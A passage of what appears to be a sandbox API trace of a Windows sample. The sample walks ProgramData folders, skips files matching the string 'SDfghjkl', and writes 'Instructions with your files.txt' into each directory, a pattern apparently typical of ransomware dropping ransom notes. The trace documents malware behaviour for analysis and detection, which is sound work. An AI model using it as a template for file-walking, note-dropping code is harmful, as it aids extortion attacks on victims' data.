[0131.895] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae679aa0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae679aa0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd354d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile44.bmp", cAlternateFileName="")) returned 1
[0131.895] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp") returned 86
[0131.895] StrStrIW (lpFirst="usertile44.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.895] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae679aa0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae679aa0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd354d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile44.bmp", cAlternateFileName="")) returned 0
[0131.895] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\Instructions with your files.txt") returned 104
[0131.895] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.895] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.896] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.896] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.896] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.896] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.896] CloseHandle (hObject=0x114) returned 1
[0131.896] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.897] GetProcessHeap () returned 0x810000
[0131.897] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.897] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="guest.bmp", cAlternateFileName="")) returned 1
[0131.897] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp") returned 64
[0131.897] StrStrIW (lpFirst="guest.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.897] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb2bf5d20, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb2bf5d20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2c1be80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.897] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Instructions with your files.txt") returned 87
[0131.897] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.897] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 1
[0131.897] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp") returned 63
[0131.897] StrStrIW (lpFirst="user.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.897] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 0
[0131.897] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Instructions with your files.txt") returned 87
[0131.897] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.897] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.898] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.898] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.898] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.898] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.898] CloseHandle (hObject=0x110) returned 1
[0131.899] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.899] GetProcessHeap () returned 0x810000
[0131.899] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.899] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb2c1be80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2c1be80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1
[0131.899] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Vault") returned 38
[0131.899] GetProcessHeap () returned 0x810000
[0131.899] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.899] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Vault\\*") returned 40
[0131.899] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Vault\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb2c1be80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2c1be80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.899] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Vault\\.") returned 40
[0131.899] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb2c1be80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2c1be80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.899] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Vault\\..") returned 41
[0131.899] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c1be80, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb2c1be80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2c1be80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.899] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Vault\\Instructions with your files.txt") returned 71
[0131.899] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.899] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c1be80, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb2c1be80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2c1be80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.899] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Vault\\Instructions with your files.txt") returned 71
[0131.899] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Vault\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\vault\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.899] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.900] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.900] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.900] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.900] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.901] CloseHandle (hObject=0x110) returned 1
[0131.901] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.901] GetProcessHeap () returned 0x810000
[0131.901] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.901] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xb2c1be80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2c1be80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1
[0131.901] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\VISIO") returned 38
[0131.901] GetProcessHeap () returned 0x810000
[0131.901] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.901] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\VISIO\\*") returned 40
[0131.901] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\VISIO\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xb2c1be80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2c1be80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.901] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\VISIO\\.") returned 40
[0131.901] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xb2c1be80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2c1be80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.901] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\VISIO\\..") returned 41
[0131.901] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb2c1be80, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb2c1be80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2c1be80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.901] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\VISIO\\Instructions with your files.txt") returned 71
[0131.901] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.901] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb2c1be80, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb2c1be80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2c1be80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.901] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\VISIO\\Instructions with your files.txt") returned 71
[0131.901] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\VISIO\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\visio\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.901] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.902] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.902] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.902] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.902] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.903] CloseHandle (hObject=0x110) returned 1
[0131.903] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.903] GetProcessHeap () returned 0x810000
[0131.903] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.903] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
[0131.903] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb3f73140, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f73140, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1
[0131.903] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender") returned 49
[0131.903] GetProcessHeap () returned 0x810000
[0131.903] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.903] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\*") returned 51
[0131.903] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb3f73140, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f73140, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.903] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\.") returned 51
[0131.903] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb3f73140, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f73140, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.903] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\..") returned 52
[0131.903] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb35a1680, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb35a1680, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Definition Updates", cAlternateFileName="DEFINI~1")) returned 1
[0131.903] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates") returned 68
[0131.903] GetProcessHeap () returned 0x810000
[0131.903] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.903] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\*") returned 70
[0131.903] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb35a1680, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb35a1680, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.903] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\.") returned 70
